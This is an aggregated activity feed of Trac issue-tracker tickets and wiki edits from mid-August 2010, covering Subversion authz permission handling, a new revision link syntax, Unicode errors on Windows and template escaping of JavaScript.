0.11-stable.">r9999</a> I have also recently changed our trac runtime environment to use mod_wsgi instead of the prvious mod_python (apache 2.2). This setup was working prior to updating to trac0.12-stable <a class="changeset" href="http://trac.edgewall.org/changeset/10004" title="fcgi: make it possible to use the installed version of flup instead of ...">r10004</a> Reverting to the prior working version fixes the problem Our environment is: <ul><li>Ubuntu 8.04LTS </li><li>Apache 2.2 </li><li>python 2.5 </li><li>subversion 1.6.11 (irrelevant I expect) </li><li>mod_wsgi 3.3 </li></ul>

08/16/10:

18:23 InsideTrac: Trac - Ticket #9570 (Merge RepoRevisionSyntaxPlugin into core?) updated by rblank: <a class="attachment" href="http://trac.edgewall.org/attachment/ticket/9570/9570-restrict-path-r10006.patch" title="Attachment '9570-restrict-path-r10006.patch' in Ticket #9570">9570-restrict-path-r10006.patch</a><a class="trac-rawlink" href="http://trac.edgewall.org/raw-attachment/ticket/9570/9570-restrict-path-r10006.patch" title="Download"></a> adds the <tt>r123/path</tt> syntax for changesets and <tt>r123:456/path</tt> for the log. However, contrary to the <tt>[123/path]</tt> syntax, the path is limited to characters in <tt>[a-zA-Z0-9_/.+-]</tt>. Indeed, using a word boundary or whitespace as the end of path would make the comma part of the path in "changed in <tt>r123/path</tt>, and ...". The dot could also be removed, for the typical phrase "fixed in <tt>r123/path</tt>.". If characters outside of that set are needed, the <tt>[123/path]</tt> syntax should be used instead. Please test.
18:23 InsideTrac: Trac - Ticket #9570 (Merge RepoRevisionSyntaxPlugin into core?) updated by rblank: <a class="attachment" href="http://trac.edgewall.org/attachment/ticket/9570/9570-restrict-path-r10006.patch" title="Attachment '9570-restrict-path-r10006.patch' in Ticket #9570">9570-restrict-path-r10006.patch</a><a class="trac-rawlink" href="http://trac.edgewall.org/raw-attachment/ticket/9570/9570-restrict-path-r10006.patch" title="Download"></a> adds the <tt>r123/path</tt> syntax for changesets and <tt>r123:456/path</tt> for the log. However, contrary to the <tt>[123/path]</tt> syntax, the path is limited to characters in <tt>[a-zA-Z0-9_/.+-]</tt>. Indeed, using a word boundary or whitespace as the end of path would make the comma part of the path in "changed in <tt>r123/path</tt>, and ...". The period could also be removed, for the typical phrase "fixed in <tt>r123/path</tt>.". If characters outside of that set are needed, the <tt>[123/path]</tt> syntax should be used instead. Please test.
18:16 InsideTrac: Trac - 9570-restrict-path-r10006.patch attached to Ticket #9570 by rblank: Allow <tt>r123/path</tt> and <tt>r123:456/path</tt> syntax.
16:25 InsideTrac: Trac - Ticket #9566 (Improper handling of scoped repositories in svn AuthzSourcePolicy) updated by rblank: Replying to <a href="http://trac.edgewall.org/ticket/9566#comment:3" title="Comment 3 for Ticket #9566">itamaro</a>: <blockquote class="citation"> Any chance you could generate the patch using svn instead of git? (or alternatively explain how I apply the patch to a svn working copy) </blockquote> You can apply it normally with <tt>patch</tt>: <pre class="wiki">cd /path/to/working/copy patch -p1 <9566-scoped-repos-r10006.patch </pre> You may have to adjust the end-of-lines if you are on Windows (and find a suitable <tt>patch.exe</tt>).
16:15 InsideTrac: Trac - Ticket #9571 (Could not create new "InitEnv") updated by cboos: Description changed
16:11 InsideTrac: Trac - TracRepositoryAdmin edited by cboos: (rblank) Actually, the <tt>trac</tt> prefix is intentional, but it seems not to be redirected correctly for some reason. (<a href="http://trac.edgewall.org/wiki/TracRepositoryAdmin?action=diff&version=11">diff</a>)
16:00 InsideTrac: Trac - Ticket #9566 (Improper handling of scoped repositories in svn AuthzSourcePolicy) updated by itamaro: Replying to <a href="http://trac.edgewall.org/ticket/9566#comment:2" title="Comment 2 for Ticket #9566">rblank</a>: <blockquote class="citation"> Could you please test <a class="attachment" href="http://trac.edgewall.org/attachment/ticket/9566/9566-scoped-repos-r10006.patch" title="Attachment '9566-scoped-repos-r10006.patch' in Ticket #9566">9566-scoped-repos-r10006.patch</a><a class="trac-rawlink" href="http://trac.edgewall.org/raw-attachment/ticket/9566/9566-scoped-repos-r10006.patch" title="Download"></a>? It should add support for scoped repositories. It also refactors the permission checking to remove duplicate code. </blockquote> Any chance you could generate the patch using svn instead of git? (or alternatively explain how I apply the patch to a svn working copy) <blockquote class="citation"> As <tt>CachedRepository</tt> already checks for a <tt>.scope</tt> attribute, I wonder if we shouldn't "standardize" this practice by defining a <tt>scope = '/'</tt> class attribute in <tt>Repository</tt>, so that the scope is always present and "empty" by default? </blockquote> +1
13:02 InsideTrac: Trac - CookBook/Installation/TracOnWindowsWithAccountManager edited by anonymous: (<a href="http://trac.edgewall.org/wiki/CookBook/Installation/TracOnWindowsWithAccountManager?action=diff&version=5">diff</a>)
12:58 InsideTrac: Trac - CookBook/Installation/TracOnWindowsWithAccountManager edited by anonymous: (<a href="http://trac.edgewall.org/wiki/CookBook/Installation/TracOnWindowsWithAccountManager?action=diff&version=4">diff</a>)
10:04 InsideTrac: Trac - Ticket #9570 (Merge RepoRevisionSyntaxPlugin into core?) updated by trbs <trbs@…>: Cc changed
08:40 InsideTrac: Trac - Ticket #9571 (Could not create new "InitEnv") created by alexey.lomaka@…: Creating and Initializing Project <blockquote> Installing default wiki pages </blockquote> Initenv for 'd:\svn\trac\work' failed. 'ascii' codec can't decode byte 0xc0 in position 26: ordinal not in range(128) Traceback (most recent call last): <blockquote> File "build\bdist.win32\egg\trac\admin\console.py", line 424, in do_initenv <blockquote> <a class="missing wiki" href="http://trac.edgewall.org/wiki/WikiAdmin" rel="nofollow">WikiAdmin?</a>(self.env).load_pages(pages_dir) </blockquote> File "build\bdist.win32\egg\trac\wiki\admin.py", line 159, in load_pages <blockquote> @self.env.with_transaction() </blockquote> File "build\bdist.win32\egg\trac\db\api.py", line 77, in transaction_wrapper <blockquote> fn(ldb) </blockquote> File "build\bdist.win32\egg\trac\wiki\admin.py", line 169, in do_load <blockquote> filename=filename, page=page)) </blockquote> File "build\bdist.win32\egg\trac\util\translation.py", line 37, in gettext_noo </blockquote> p <blockquote> return safefmt(string, kwargs) </blockquote> <blockquote> File "build\bdist.win32\egg\trac\util\translation.py", line 30, in safefmt <blockquote> return string % kwargs </blockquote> </blockquote> <a class="wiki" href="http://trac.edgewall.org/wiki/UnicodeDecodeError">UnicodeDecodeError</a>: 'ascii' codec can't decode byte 0xc0 in position 26: ordinal <blockquote> not in range(128) </blockquote>
08:40 InsideTrac: Trac - Ticket #9571 (Could not create new "InitEnv") created by alexey.lomaka@…: <pre class="wiki">Creating and Initializing Project Installing default wiki pages Initenv for 'd:\svn\trac\work' failed. 'ascii' codec can't decode byte 0xc0 in position 26: ordinal not in range(128) Traceback (most recent call last): File "build\bdist.win32\egg\trac\admin\console.py", line 424, in do_initenv WikiAdmin(self.__env).load_pages(pages_dir) File "build\bdist.win32\egg\trac\wiki\admin.py", line 159, in load_pages @self.env.with_transaction() File "build\bdist.win32\egg\trac\db\api.py", line 77, in transaction_wrapper fn(ldb) File "build\bdist.win32\egg\trac\wiki\admin.py", line 169, in do_load filename=filename, page=page)) File "build\bdist.win32\egg\trac\util\translation.py", line 37, in gettext_noop return safefmt(string, kwargs) File "build\bdist.win32\egg\trac\util\translation.py", line 30, in safefmt return string % kwargs UnicodeDecodeError: 'ascii' codec can't decode byte 0xc0 in position 26: ordinal not in range(128) </pre>
07:46 InsideTrac: Trac - TracRepositoryAdmin edited by anonymous: Fixed link to trac-svn-hook. (<a href="http://trac.edgewall.org/wiki/TracRepositoryAdmin?action=diff&version=10">diff</a>)
07:00 InsideTrac: Trac - Ticket #9152 (UnicodeDecodeError: 'ascii' codec can't decode byte 0xc0 in position 26: ...) updated by anonymous: Yes. I have this error too in Windows Server 2003
06:07 InsideTrac: Trac - normal2.dotx attached to Ticket #9567 by anonymous
05:18 InsideTrac: Trac - CommercialServices edited by anonymous: (<a href="http://trac.edgewall.org/wiki/CommercialServices?action=diff&version=89">diff</a>)
04:14 InsideTrac: Trac - Ticket #4542 (Inconsistent treatment of underscores in Wiki Page Names) updated by David Matthews: Great - yet another reason for us to upgrade to Trac 0.12! Thanks.
03:36 InsideTrac: Trac - Ticket #9542 ("Browse Source" button is not shown for anonymous users when ...) updated by HeX <edgewall.p3u@…>: Remy, unfortunately the way subversion currently handles fine graines authentication a setup like: <pre class="wiki">[projects:/] * = r [projects:/dir1] * = [projects:/dir2] * = </pre> does not work since subversion will list <tt>dir1</tt> and <tt>dir2</tt> even when one can not enter them. So as I said the way you implemented is in my opinion far better than what subversion currently does. But I see how a divergence in the interpretation of svn_authz configuration between Trac ans Subversion might confuse users. Another aspect which I just recall is that with the setting of: <pre class="wiki">[projects:/] * = </pre> in 0.11 it was not possible for anonymous users to follow autogenerated changeset links since they were always linking to the root (which had <tt>* = </tt> configured). Now with your patched behaviour <a class="changeset" href="http://trac.edgewall.org/changeset/10006" title="0.12.1dev: Improvements to the `AuthzSourcePolicy`: * Allow access to ...">r10006</a> this is no longer an issue and should stay that way. So to summarise, from the usability view the way <a class="changeset" href="http://trac.edgewall.org/changeset/10006" title="0.12.1dev: Improvements to the `AuthzSourcePolicy`: * Allow access to ...">r10006</a> handles access rights is much more useful than it was before and I would keep this behaviour. The thing to fix (and which is also the topic of this ticket) would be to activate the "Browse Source" button if the relevant. But if there is any way to simply make Trac check for the <tt>browser.href</tt> variable and if the user has read-permission there then this could be used as a basis to show the "Browse Source" button. BTW, I think part of <a href="http://trac.edgewall.org/wiki/TracNavigation">http://trac.edgewall.org/wiki/TracNavigation</a> should be merged into the <a href="http://trac.edgewall.org/wiki/TracIni">http://trac.edgewall.org/wiki/TracIni</a> documentation. Currently information on section definition <tt>[mainnav]</tt> is missing from there altogether.

08/15/10:

18:56 InsideTrac: Trac - Ticket #9566 (Improper handling of scoped repositories in svn AuthzSourcePolicy) updated by rblank: Could you please test <a class="attachment" href="http://trac.edgewall.org/attachment/ticket/9566/9566-scoped-repos-r10006.patch" title="Attachment '9566-scoped-repos-r10006.patch' in Ticket #9566">9566-scoped-repos-r10006.patch</a><a class="trac-rawlink" href="http://trac.edgewall.org/raw-attachment/ticket/9566/9566-scoped-repos-r10006.patch" title="Download"></a>? It should add support for scoped repositories. It also refactors the permission checking to remove duplicate code. As <tt>CachedRepository</tt> already checks for a <tt>.scope</tt> attribute, I wonder if we shouldn't "standardize" this practice by defining a <tt>scope = '/'</tt> class attribute in <tt>Repository</tt>, so that the scope is always present and "empty" by default?
18:51 InsideTrac: Trac - 9566-scoped-repos-r10006.patch attached to Ticket #9566 by rblank: Support for scoped repositories.
18:45 InsideTrac: Trac - Ticket #9570 (Merge RepoRevisionSyntaxPlugin into core?) updated by rblank: Replying to <a href="http://trac.edgewall.org/ticket/9570#comment:4" title="Comment 4 for Ticket #9570">shesek</a>: <blockquote class="citation"> Any chance this syntax will be used by <a class="wiki" href="http://trac.edgewall.org/wiki/CommitTicketUpdater">CommitTicketUpdater</a> too, or make the syntax used by it configurable in <a class="wiki" href="http://trac.edgewall.org/wiki/TracIni">TracIni</a>? </blockquote> Nah, it looks too ugly with hexadecimal changesets. But you could create a small plugin that subclasses <tt>CommitTicketUpdater</tt> and overrides <tt>make_ticket_comment()</tt> to format the ticket comment differently.
18:25 InsideTrac: Trac - Ticket #9570 (Merge RepoRevisionSyntaxPlugin into core?) updated by shesek: Yeah, I agree. Any chance this syntax will be used by <a class="wiki" href="http://trac.edgewall.org/wiki/CommitTicketUpdater">CommitTicketUpdater</a> too, or make the syntax used by it configurable in <a class="wiki" href="http://trac.edgewall.org/wiki/TracIni">TracIni</a>?
17:21 InsideTrac: Trac - Ticket #9570 (Merge RepoRevisionSyntaxPlugin into core?) updated by rblank: Let's see: r12ab [12ab] But: r12ab34cd <a class="missing changeset" title="No changeset 12ab34cd in the repository">[12ab34cd]</a> You are right, the hexadecimal revision numbers are only supported with the bracket syntax, and only for 8-digit revisions or longer. The <tt>r123</tt> syntax only supports digits. So there should be no ambiguity, but I still prefer <tt>r123/repo</tt> :)
16:57 InsideTrac: Trac - Ticket #9542 ("Browse Source" button is not shown for anonymous users when ...) updated by rblank: Thanks for the file. The reason why the "Browse Source" tab is hidden is the following entry: <pre class="wiki">[projects:/] * = </pre> With this rule, you explicitly prevent everyone (including anonymous) who isn't listed explicitly in the rest of the section from listing the root of the "projects" repository. AFAICT, this rule is there to set a sane default for the whole repository (deny by default), and that makes sense. But it highlights a weakness of the authz format: a rule on a directory serves as both the list permission of the directory, and as a default to be inherited by sub-directories and files. So if you want to allow listing a directory, but restrict sub-directories, you have to set rules on every sub-directory: <pre class="wiki">[projects:/] * = r [projects:/dir1] * = [projects:/dir2] * = </pre> Now, I have to admit that I have implemented <tt>AuthzSourcePolicy</tt> from what I understood the authz system in Subversion should do, and haven't studied the Subversion code itself in detail to make our functionality absolutely equivalent. And from <a href="http://trac.edgewall.org/ticket/9542#comment:11" title="Comment 11 for Ticket #9542">comment:11</a>, our implementation may even be more useful. But I realize that being "not strictly equivalent" may be surprising, if not downright bad. I need to have a serious look at the implementation in Subversion, and try an equivalent implementation. My guess is that it's going to have the serious drawback of not allowing to browse e.g. the root of a repository, even if I have access to sub-directories, therefore leaving a serious usability issue (it's the original issue of this ticket, actually). Maybe we should treat <tt>BROWSER_VIEW</tt> and <tt>FILE_VIEW</tt> differently? For example, if a directory has an explicit "deny" rule, but a sub-directory or file is allowed, then allow <tt>BROWSER_VIEW</tt> anyway? That may be difficult to implement, at first sight. Opinions?
16:51 InsideTrac: Trac - Ticket #9570 (Merge RepoRevisionSyntaxPlugin into core?) updated by shesek: Sure, as I said - any syntax will be fine. In the plugin itself I noted that the only reason I used the <tt>r123repo</tt> syntax is that Trac parsed the <tt>r123</tt> part before my plugin did, so I couldn't implement any `repo/<a class="changeset" href="http://trac.edgewall.org/changeset/123" title="Try to handle exceptions gracefully even if the first exception handler ...">r123</a>' or '<a class="changeset" href="http://trac.edgewall.org/changeset/123" title="Try to handle exceptions gracefully even if the first exception handler ...">r123</a>/repo' syntax. I do think that <tt>r123/repo</tt> is a better choice. BTW, when does Trac has non-numeric revisions? it seems like 'r1b79' isn't getting parsed to a <a class="wiki" href="http://trac.edgewall.org/wiki/TracLink">TracLink</a>
16:32 InsideTrac: Trac - Ticket #9569 (Javascript comparison operator '&&' throws exception in ...) updated by rblank: <a class="source" href="http://trac.edgewall.org/browser/trunk/trac/ticket/templates/query.html?rev=9962&marks=12%2C20%2C25#L1">Yes, I have</a><a class="trac-rawlink" href="http://trac.edgewall.org/export/9962/trunk/trac/ticket/templates/query.html#L1" title="Download"></a>. You should use either <tt>&amp;</tt> or the CDATA section, but not both. The CDATA is more readable.
16:28 InsideTrac: Trac - Ticket #9570 (Merge RepoRevisionSyntaxPlugin into core?) updated by rblank: Owner, Milestone changed Why use the syntax <tt>r123repo</tt>, and not e.g. <tt>r123/repo</tt>, which would be very similar to the <tt>[123/repo]</tt> syntax? Also, AFAIK the current regexp for the <a class="changeset" href="http://trac.edgewall.org/changeset/123" title="Try to handle exceptions gracefully even if the first exception handler ...">r123</a> syntax allows hexadecimal revisions (hashes), so without a separator, this might conflict with the repository name (e.g. revision 12 in repository "best" would be written "r12best", which could also be interpreted as revision 12b in repository "est", or revision 12be in repository "st"). So, how about <tt>r123/repo</tt> (which can conveniently be read as "revision 123 in repository "repo")?
16:18 InsideTrac: Trac - Ticket #9569 (Javascript comparison operator '&&' throws exception in ...) updated by nbalkanas@…: I don't understand what you mean. Javascipt is defined in <head> section of ticket.html and works fine when loaded directly from the browser. That's how Javascripts work. Upon using your suggestion, I get no Trac internal errors, however, the &amp; and CDATA remain unchanged to the output Javascript, which doesn't work. Have you tried it?
16:17 InsideTrac: Trac - Ticket #9570 (Merge RepoRevisionSyntaxPlugin into core?) created by shesek: When using multiple repositories, all the <a class="wiki" href="http://trac.edgewall.org/wiki/WikiFormatting">WikiFormatting</a> / <a class="wiki" href="http://trac.edgewall.org/wiki/TracLinks">TracLinks</a> has a syntax for linking to a changeset/revision of a specific repository (<tt>[123/repo]</tt> and <tt>[changeset:123/repo]</tt>), other than the <a class="changeset" href="http://trac.edgewall.org/changeset/123" title="Try to handle exceptions gracefully even if the first exception handler ...">r123</a> syntax. I find the <a class="changeset" href="http://trac.edgewall.org/changeset/123" title="Try to handle exceptions gracefully even if the first exception handler ...">r123</a> syntax the most readable one and think its weird that it can't be used when using multiple repositories. Therefore, I suggest merging the functionality of <a class="ext-link" href="http://trac-hacks.org/wiki/RepoRevisionSyntaxPlugin"> RepoRevisionSyntaxPlugin</a> (disclosure: this is a plugin I wrote) to core, or using some alternative syntax (<tt>repo/r123</tt> maybe?) that allows using this syntax with multiple repositories somehow.
15:17 InsideTrac: Trac - Ticket #8708 (Operational Error: database is locked) updated by HeX <edgewall.p3u@…>: Found out that a Google bot was causing the database lockup in our case. So unsubscribing.
15:17 InsideTrac: Trac - Ticket #8708 (Operational Error: database is locked) updated by HeX <edgewall.p3u@…>: Cc changed
15:04 InsideTrac: Trac - Ticket #8708 (Operational Error: database is locked) updated by nulleke76@…: Cc changed
14:55 InsideTrac: Trac - Ticket #7682 (Trac Error: Unsupported version control system "svn": "DLL load failed ...) updated by gyang@…: I encountered the same question. For me, it turned out to be ssleay32.dll and libeay32.dll files in the windows\system32 folder are out-dated. Simply rename these two files to *.bak solved my problem.
12:42 InsideTrac: Trac - TracFaq edited by rblank: Updated <tt>resync</tt> -> <tt>repository resync</tt>. (<a href="http://trac.edgewall.org/wiki/TracFaq?action=diff&version=319">diff</a>)
11:21 InsideTrac: Trac - Ticket #9567 (Trac License ¶) updated by anonymous: Owner, Status changed
07:20 InsideTrac: Trac - Ticket #9567 (Trac License ¶) updated by anonymous: מה קורה?
05:11 InsideTrac: Trac - TranslationRu/WikiFormatting edited by aprudnikov: Fix indent (<a href="http://trac.edgewall.org/wiki/TranslationRu/WikiFormatting?action=diff&version=3">diff</a>)
05:08 InsideTrac: Trac - TranslationRu/WikiFormatting edited by aprudnikov: New translate (<a href="http://trac.edgewall.org/wiki/TranslationRu/WikiFormatting?action=diff&version=2">diff</a>)
02:58 InsideTrac: Trac - Ticket #9568 (Preferences -> Syntax Highlighting style selectbox should be binded to the ...) updated by rblank: Owner, Milestone changed
02:57 InsideTrac: Trac - Ticket #9569 (Javascript comparison operator '&&' throws exception in ...) closed by rblank: invalid: That's because your code is invalid (when included in an HTML file). You have to either escape the <tt>&</tt> characters by substituting with <tt>&amp;</tt> or enclose the code in a <tt>CDATA</tt> section.
02:53 InsideTrac: Trac - Ticket #9542 ("Browse Source" button is not shown for anonymous users when ...) updated by rblank: Replying to <a href="http://trac.edgewall.org/ticket/9542#comment:10" title="Comment 10 for Ticket #9542">HeX <edgewall.p3u@…></a>: <blockquote class="citation"> Sorry, but <a class="changeset" href="http://trac.edgewall.org/changeset/10006" title="0.12.1dev: Improvements to the `AuthzSourcePolicy`: * Allow access to ...">[10006]</a> still doesn't fix the problem with the "Browse Source" button not shown for anonymous users. I'm now running Trac 0.12.1dev-<a class="changeset" href="http://trac.edgewall.org/changeset/10006" title="0.12.1dev: Improvements to the `AuthzSourcePolicy`: * Allow access to ...">r10006</a> where this should be solved :( </blockquote> I will need more information to fix this, because it works fine here. Would it be possible to attach your authz file here, or send it to me by private e-mail (remy.blank - at - pobox.com)?
02:26 InsideTrac: Trac - Ticket #9569 (Javascript comparison operator '&&' throws exception in ...) created by nbalkanas@…: Problem is always there. It should be easy to reproduce. In <project>/templates/ticket.html the following code: <script language="Javascript" type="text/javascript"> <blockquote> function check_ticket(thisform) { <blockquote> with(thisform) { <blockquote> var diagnostics = field_diagnostic_info.value.split(" "); </blockquote> </blockquote> </blockquote> <blockquote> <blockquote> <blockquote> if (field_diagnostic_info.value.length == 126 && <blockquote> diagnostics<a class="missing changeset" title="No changeset 0 in the repository">[0]</a> == "Please") </blockquote> { <blockquote> alert("Please provide errors and diagnostic messages."); field_diagnostic_info.focus(); return(false); </blockquote> } </blockquote> } return(true); </blockquote> } </blockquote> </script> will throw internal error on token '&&': Trac detected an internal error: <a class="missing wiki" href="http://trac.edgewall.org/wiki/TemplateSyntaxError" rel="nofollow">TemplateSyntaxError?</a>: not well-formed (invalid token): line 49, column 62 (/var/trac/projects/ianwap/templates/ticket.html, line 49) Python Traceback Most recent call last: File "/usr/lib/python2.3/site-packages/Trac-0.11.6-py2.3.egg/trac/web/main.py", line 450, in _dispatch_request File "/usr/lib/python2.3/site-packages/Trac-0.11.6-py2.3.egg/trac/web/main.py", line 227, in dispatch File "/usr/lib/python2.3/site-packages/Trac-0.11.6-py2.3.egg/trac/web/chrome.py", line 738, in render_template File "/usr/lib/python2.3/site-packages/Trac-0.11.6-py2.3.egg/trac/web/chrome.py", line 712, in load_template File "/usr/lib/python2.3/site-packages/Genshi-0.5.1-py2.3-linux-i686.egg/genshi/template/loader.py", line 227, in load File "/usr/lib/python2.3/site-packages/Genshi-0.5.1-py2.3-linux-i686.egg/genshi/template/loader.py", line 265, in _instantiate File "/usr/lib/python2.3/site-packages/Genshi-0.5.1-py2.3-linux-i686.egg/genshi/template/base.py", line 379, in init Trac: 0.11.6 Python: 2.3.4 (<a class="new ticket" href="http://trac.edgewall.org/ticket/1" title="enhancement: Add a new project summary module. (new)">#1</a>, Feb 15 2005, 19:42:48) [GCC 3.4.3 20041212 (Red Hat 3.4.3-9.EL4)] setuptools: 0.6c9 SQLite: 3.3.6 pysqlite: 1.1.7 Genshi: 0.5.1 mod_python: < 3.2 jQuery: 1.2.6
02:26 InsideTrac: Trac - Ticket #9569 (Javascript comparison operator '&&' throws exception in ...) created by nbalkanas@…: Problem is always there. It should be easy to reproduce. In <project>/templates/ticket.html the following code: <pre class="wiki"><script language="Javascript" type="text/javascript"> function check_ticket(thisform) { with(thisform) { var diagnostics = field_diagnostic_info.value.split(" "); if (field_diagnostic_info.value.length == 126 && diagnostics[0] == "Please") { alert("Please provide errors and diagnostic messages."); field_diagnostic_info.focus(); return(false); } } return(true); } </script> </pre> will throw internal error on token '&&': <pre class="wiki">Trac detected an internal error: TemplateSyntaxError: not well-formed (invalid token): line 49, column 62 (/var/trac/projects/ianwap/templates/ticket.html, line 49) Python Traceback Most recent call last: File "/usr/lib/python2.3/site-packages/Trac-0.11.6-py2.3.egg/trac/web/main.py", line 450, in _dispatch_request File "/usr/lib/python2.3/site-packages/Trac-0.11.6-py2.3.egg/trac/web/main.py", line 227, in dispatch File "/usr/lib/python2.3/site-packages/Trac-0.11.6-py2.3.egg/trac/web/chrome.py", line 738, in render_template File "/usr/lib/python2.3/site-packages/Trac-0.11.6-py2.3.egg/trac/web/chrome.py", line 712, in load_template File "/usr/lib/python2.3/site-packages/Genshi-0.5.1-py2.3-linux-i686.egg/genshi/template/loader.py", line 227, in load File "/usr/lib/python2.3/site-packages/Genshi-0.5.1-py2.3-linux-i686.egg/genshi/template/loader.py", line 265, in _instantiate File "/usr/lib/python2.3/site-packages/Genshi-0.5.1-py2.3-linux-i686.egg/genshi/template/base.py", line 379, in __init__ </pre><pre class="wiki">Trac: 0.11.6 Python: 2.3.4 (#1, Feb 15 2005, 19:42:48) [GCC 3.4.3 20041212 (Red Hat 3.4.3-9.EL4)] setuptools: 0.6c9 SQLite: 3.3.6 pysqlite: 1.1.7 Genshi: 0.5.1 mod_python: < 3.2 jQuery: 1.2.6 </pre>

08/14/10:

22:42 InsideTrac: Trac - TracFaq edited by anonymous: (<a href="http://trac.edgewall.org/wiki/TracFaq?action=diff&version=318">diff</a>)
20:21 InsideTrac: Trac - Ticket #9568 (Preferences -> Syntax Highlighting style selectbox should be binded to the ...) created by shesek: This is a tiny improvement, but it can make the interface for selecting the style much more convenient. The 'onchange' event doesn't fire until a select box losses focus, so one can't look at styles by scrolling them up/down with the keyboard, he has to choose them with the mouse, which is far less convenient. This can be easily improved by biding to the 'onkeydown' event too, like that: <pre class="wiki">$("#pygment_theme").attr("autocomplete", "off").bind('change keydown',function() { switchStyleSheet(this.options[this.selectedIndex].text); }); </pre> Notice the .bind('change keydown',function(){ used instead of .change(function(){. This is the only modification needed. I do realize this is very minor, but it could be a nice enhancement.
19:29 InsideTrac: Trac - Ticket #9542 ("Browse Source" button is not shown for anonymous users when ...) updated by HeX <edgewall.p3u@…>: Replying to <a href="http://trac.edgewall.org/ticket/9542#comment:8" title="Comment 8 for Ticket #9542">rblank</a>: <blockquote class="citation"> No, it will allow anonymous users to list e.g. <tt>/projects</tt>, but the listing will only include entries for which anonymous has access, so if anonymous has access to <tt>/projects/public</tt> but not to <tt>/projects/private</tt>, the listing of <tt>/projects</tt> will only show <tt>public</tt>. </blockquote> I just like to mention that your fix actually makes the listing if project folders superior to svn's own listing. If SVN would behave like the Trac Browser does now I would be able to give: <pre class="wiki">[/] * = r </pre> and wouldn't need to worry about private project folder names being visible (even if not accessible). So thanks again for that enhancement :-) (only the Browser button issue left though ;-) )
19:00 InsideTrac: Trac - Ticket #9542 ("Browse Source" button is not shown for anonymous users when ...) reopened by HeX <edgewall.p3u@…>: Sorry, but <a class="changeset" href="http://trac.edgewall.org/changeset/10006" title="0.12.1dev: Improvements to the `AuthzSourcePolicy`: * Allow access to ...">[10006]</a> still doesn't fix the problem with the "Browse Source" button not shown for anonymous users. I'm now running Trac 0.12.1dev-<a class="changeset" href="http://trac.edgewall.org/changeset/10006" title="0.12.1dev: Improvements to the `AuthzSourcePolicy`: * Allow access to ...">r10006</a> where this should be solved :(
17:16 InsideTrac: Trac - TranslationRu/TracGuide edited by aprudnikov: Correct 'Table of Contents', remove invalid links (<a href="http://trac.edgewall.org/wiki/TranslationRu/TracGuide?action=diff&version=14">diff</a>)
16:23 InsideTrac: Trac - Ticket #9567 (Trac License ¶) updated by rblank: Milestone changed Done, thanks. We should probably also update all source files.
16:21 InsideTrac: Trac - TracLicense edited by rblank: Updated copyright year. (<a href="http://trac.edgewall.org/wiki/TracLicense?action=diff&version=4">diff</a>)
16:04 InsideTrac: Trac - Ticket #9567 (Trac License ¶) created by anonymous: Copyright (C) 2003-2008 Edgewall Software All rights reserved. <a href="http://trac.edgewall.org/wiki/TracLicense">http://trac.edgewall.org/wiki/TracLicense</a> update this :)
14:50 InsideTrac: Trac - TracDev/DevelopmentWithEclipseAndPyDev edited by veger: PyDev moved to a new location (<a href="http://trac.edgewall.org/wiki/TracDev/DevelopmentWithEclipseAndPyDev?action=diff&version=15">diff</a>)
14:19 InsideTrac: Trac - TracGuideRu edited by aprudnikov: Please, delete this page (<a href="http://trac.edgewall.org/wiki/TracGuideRu?action=diff&version=2">diff</a>)
10:26 InsideTrac: Trac - Ticket #9542 ("Browse Source" button is not shown for anonymous users when ...) updated by HeX <edgewall.p3u@…>: OK that's exactly like I would have liked it to be. Thanks again.
07:58 InsideTrac: Trac - Ticket #9542 ("Browse Source" button is not shown for anonymous users when ...) updated by rblank: Replying to <a href="http://trac.edgewall.org/ticket/9542#comment:7" title="Comment 7 for Ticket #9542">HeX <edgewall.p3u@…></a>: <blockquote class="citation"> Does this mean that anonymous users would be able to see the other projects in the root folder even those they don't have access to? </blockquote> No, it will allow anonymous users to list e.g. <tt>/projects</tt>, but the listing will only include entries for which anonymous has access, so if anonymous has access to <tt>/projects/public</tt> but not to <tt>/projects/private</tt>, the listing of <tt>/projects</tt> will only show <tt>public</tt>.
07:15 InsideTrac: Trac - Ticket #6664 (Trac ticket change history doesn't show the difference for the latest ...) updated by nike shoes wholesale: Well, this works fine for me. If not already using its latest trunk, <a class="ext-link" href="http://www.oil-painting-wholesaler.com"> oil painting wholesale</a> could you please upgrade G789?
06:52 InsideTrac: Trac - Ticket #9542 ("Browse Source" button is not shown for anonymous users when ...) updated by HeX <edgewall.p3u@…>: Rblank, Since I couldn't test it I have to rely on the documentation. In <a class="changeset" href="http://trac.edgewall.org/changeset/10006" title="0.12.1dev: Improvements to the `AuthzSourcePolicy`: * Allow access to ...">[10006]</a> you write: <ul><li>Allow access to all parent directories of allowed paths. </li></ul> Does this mean that anonymous users would be able to see the other projects in the root folder even those they don't have access to? This is something I most definetly don't want to happen. In our usage case we have often project folders in the SVN root that should be future features but should stay hidden from anonymous users. Perhaps there is a better way to show the browser button to anonymous on the one hand but hiding the read protected root subfolders from view on the other. If however this is actually already the case after <a class="changeset" href="http://trac.edgewall.org/changeset/10006" title="0.12.1dev: Improvements to the `AuthzSourcePolicy`: * Allow access to ...">[10006]</a> then just ignore my comment here ;)
06:15 InsideTrac: Trac - TracDev/PluginDevelopment edited by Carsten Klein <carsten.klein@…>: remove source line pointers (<a href="http://trac.edgewall.org/wiki/TracDev/PluginDevelopment?action=diff&version=52">diff</a>)
05:46 InsideTrac: Trac - Ticket #8289 (Make SVN Authz compatible with SVN 1.5) updated by rblank: FWIW, the negation rules seem tricky to implement, so I'm waiting for a concrete request for the functionality before implementing it. Yes, I'm lazy.
05:45 InsideTrac: Trac - Ticket #8289 (Make SVN Authz compatible with SVN 1.5) closed by rblank: fixed: <tt>$anonymous</tt> and <tt>$authenticated</tt> tokens implemented in <a class="changeset" href="http://trac.edgewall.org/changeset/10006" title="0.12.1dev: Improvements to the `AuthzSourcePolicy`: * Allow access to ...">[10006]</a>.
05:44 InsideTrac: Trac - Ticket #9542 ("Browse Source" button is not shown for anonymous users when ...) closed by rblank: fixed: Patches applied in <a class="changeset" href="http://trac.edgewall.org/changeset/10006" title="0.12.1dev: Improvements to the `AuthzSourcePolicy`: * Allow access to ...">[10006]</a>. More fixes coming shortly in <a class="new ticket" href="http://trac.edgewall.org/ticket/9566" title="defect: Improper handling of scoped repositories in svn AuthzSourcePolicy (new)">#9566</a>.
